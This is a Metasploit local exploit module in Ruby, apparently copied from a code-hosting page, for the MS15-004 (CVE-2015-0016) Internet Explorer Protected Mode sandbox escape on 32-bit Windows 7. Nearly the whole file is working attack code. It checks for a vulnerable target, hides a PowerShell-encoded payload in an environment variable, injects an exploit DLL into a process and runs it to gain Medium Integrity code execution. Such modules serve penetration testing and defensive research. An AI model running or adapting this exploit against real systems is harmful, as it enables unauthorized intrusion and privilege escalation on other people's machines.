132 lines
4.0 KiB
Ruby
132 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',
|
|
'Description' => %q{
|
|
This module abuses a process creation policy in Internet Explorer's
|
|
sandbox; specifically, Microsoft's RemoteApp and Desktop Connections runtime
|
|
proxy, TSWbPrxy.exe. This vulnerability allows the attacker to escape the
|
|
Protected Mode and execute code with Medium Integrity. At the moment, this
|
|
module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This
|
|
module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE
|
|
11.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # From Threat Intel of Symantec
|
|
'Henry Li', # Public vulnerability analysis
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Arch' => [ARCH_X86],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => 30
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Protected Mode (Windows 7) / 32 bits',
|
|
{
|
|
'Arch' => ARCH_X86
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'DisableNops' => true
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-0016'],
|
|
['MSB', 'MS15-004'],
|
|
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']
|
|
],
|
|
'DisclosureDate' => 'Jan 13 2015'
|
|
}))
|
|
end
|
|
|
|
def check
|
|
temp = get_env('WINDIR')
|
|
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"
|
|
|
|
win_ver = sysinfo['OS']
|
|
|
|
unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
unless file_exist?(dll_path)
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
Exploit::CheckCode::Detected
|
|
end
|
|
|
|
def exploit
|
|
print_status('Checking target...')
|
|
unless check == Exploit::CheckCode::Detected
|
|
fail_with(Failure::NotVulnerable, 'System not vulnerable')
|
|
end
|
|
|
|
if session.arch != ARCH_X86
|
|
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
|
|
end
|
|
|
|
win_ver = sysinfo['OS']
|
|
if win_ver =~ /Windows 2012|Windows 8/
|
|
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
|
|
end
|
|
|
|
print_status('Checking the Process Integrity Level...')
|
|
|
|
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
|
fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')
|
|
end
|
|
|
|
cmd = cmd_psh_payload(
|
|
payload.encoded,
|
|
payload_instance.arch.first,
|
|
{ :remove_comspec => true }
|
|
)
|
|
|
|
print_status('Storing payload on environment variable...')
|
|
cmd.gsub!('powershell.exe ','')
|
|
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)
|
|
|
|
print_status('Exploiting...')
|
|
|
|
process = client.sys.process.open
|
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll')
|
|
print_status("Injecting exploit into #{process.pid}...")
|
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
|
|
|
print_status('Payload injected. Executing exploit...')
|
|
process.thread.create(exploit_mem + offset)
|
|
end
|
|
|
|
def cleanup
|
|
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
|
|
super
|
|
end
|
|
|
|
end
|